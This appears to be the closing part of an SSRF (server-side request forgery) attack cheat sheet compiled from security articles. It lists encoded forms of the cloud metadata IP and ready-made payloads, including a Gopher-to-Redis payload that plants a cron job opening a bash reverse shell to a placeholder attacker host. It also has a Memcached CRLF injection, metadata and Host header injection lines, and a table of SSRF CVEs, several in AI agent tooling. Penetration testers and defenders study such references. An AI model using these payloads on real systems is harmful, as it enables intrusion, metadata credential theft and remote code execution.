[::ffff:a9fe:a9fe] 0251.254.169.254 0xa9.0xfe.0xa9.0xfe
Protocol payloads#
# Gopher → Redis reverse shell
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a*/1 * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1%0a%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
# Dict protocol port probe
dict://127.0.0.1:6379/INFO
# CRLF → Memcached set
http://127.0.0.1:11211/%0D%0Aset%20pwned%200%2060%205%0D%0Avalue%0D%0A
Header injection payloads#
# Linkerd routing override
l5d-dtab: /svc/* => /$/inet/169.254.169.254/80
# Azure metadata CRLF bypass
Metadata: %0d%0aTrue
# Host header for NextJS/Astro SSRF
Host: attacker.tld
CVE Quick Reference#
| CVE | Target | Type | Impact |
|---|---|---|---|
| CVE-2024-27564 | ChatGPT pictureproxy.php | Full-response SSRF | Internal network access, mass exploitation |
| CVE-2024-34351 | NextJS Server Actions | Blind → Full-read SSRF | Internal file/service read via Host injection |
| CVE-2026-25545 | Astro SSR | Full-read SSRF | Internal file/service read via Host injection |
| CVE-2025-51591 | Pandoc | Full-read SSRF | IMDS credential theft via iframe rendering |
| CVE-2025-27817 | Apache Kafka Connect | SSRF | Arbitrary file read, internal network access |
| CVE-2026-22219 | Chainlit AI | SSRF + File Read | IMDS credential theft, local file read |
| CVE-2023-28155 | Node.js request lib | SSRF via redirect | Agent bypass on protocol switch |
| CVE-2020-8561 | Kubernetes API Server | Error-based SSRF | Internal port scanning via webhook errors |
| CVE-2024-34112 | Adobe ColdFusion | SSRF → LFI | Meta-refresh bypass for file:// block |
| CVE-2025-27152 | Axios (Node.js) | SSRF redirect leak | Bearer token forwarded to attacker across redirect |
| CVE-2025-12073 | GitLab CE/EE | Authenticated SSRF | IPv6 [:::::ffff:127.0.0.1] parser bypass |
| CVE-2025-6454 | GitLab | Webhook CRLF | Custom header CRLF injection |
| CVE-2025-53767 | Azure OpenAI | SSRF privilege escalation | Managed identity token extraction |
| CVE-2026-26138 | Microsoft Purview | SSRF privilege elevation | Control plane metadata access |
| CVE-2026-22739 | Spring Cloud Config | SSRF + traversal | Profile param substitution |
| CVE-2026-27127 | Craft CMS | DNS rebinding bypass | TOCTOU in GraphQL Asset mutation |
| CVE-2026-27129 | Craft CMS | IPv6 resolution bypass | gethostbyname IPv4-only + AAAA record |
| CVE-2026-35409 | Directus | IPv4-mapped IPv6 bypass | ::ffff:127.0.0.1 not in blocklist |
| CVE-2026-27825/26 | mcp-atlassian | Header SSRF → RCE | X-Atlassian-*-Url + path traversal write |
| CVE-2026-32871 | fastmcp | OpenAPI path injection | urljoin traversal via unencoded param |
| CVE-2026-33752 | curl_cffi | Unrestricted redirect | No internal IP block + TLS impersonation |
| CVE-2026-32096 | Plunk | SNS webhook SSRF | SubscribeURL field trusted without validation |
| CVE-2026-33990 | Docker Model Runner | OCI registry SSRF | Registry URL validation bypass |
| CVE-2026-30832 | Soft Serve | SSRF | Git server URL handling |
| CVE-2026-34746 | Payload CMS | Authenticated SSRF | Upload functionality URL fetch |
Version History#
- v1.0 (2026-04-09) — Initial guide compiled from 299 articles
- v1.1 (2026-04-10) — Added MCP/AI agent SSRF section, IPv6 & DNS rebinding patterns section, 17 new CVEs, parameter enumeration campaign IOCs, PDF SSRF→LFI chain (CVE-2024-34112), Axios redirect header leak, Spring Cloud Config profile substitution, curl_cffi unrestricted redirects. Total source articles: 369.
For the original articles, see ~/Documents/obsidian/chs/raw/ssrf/.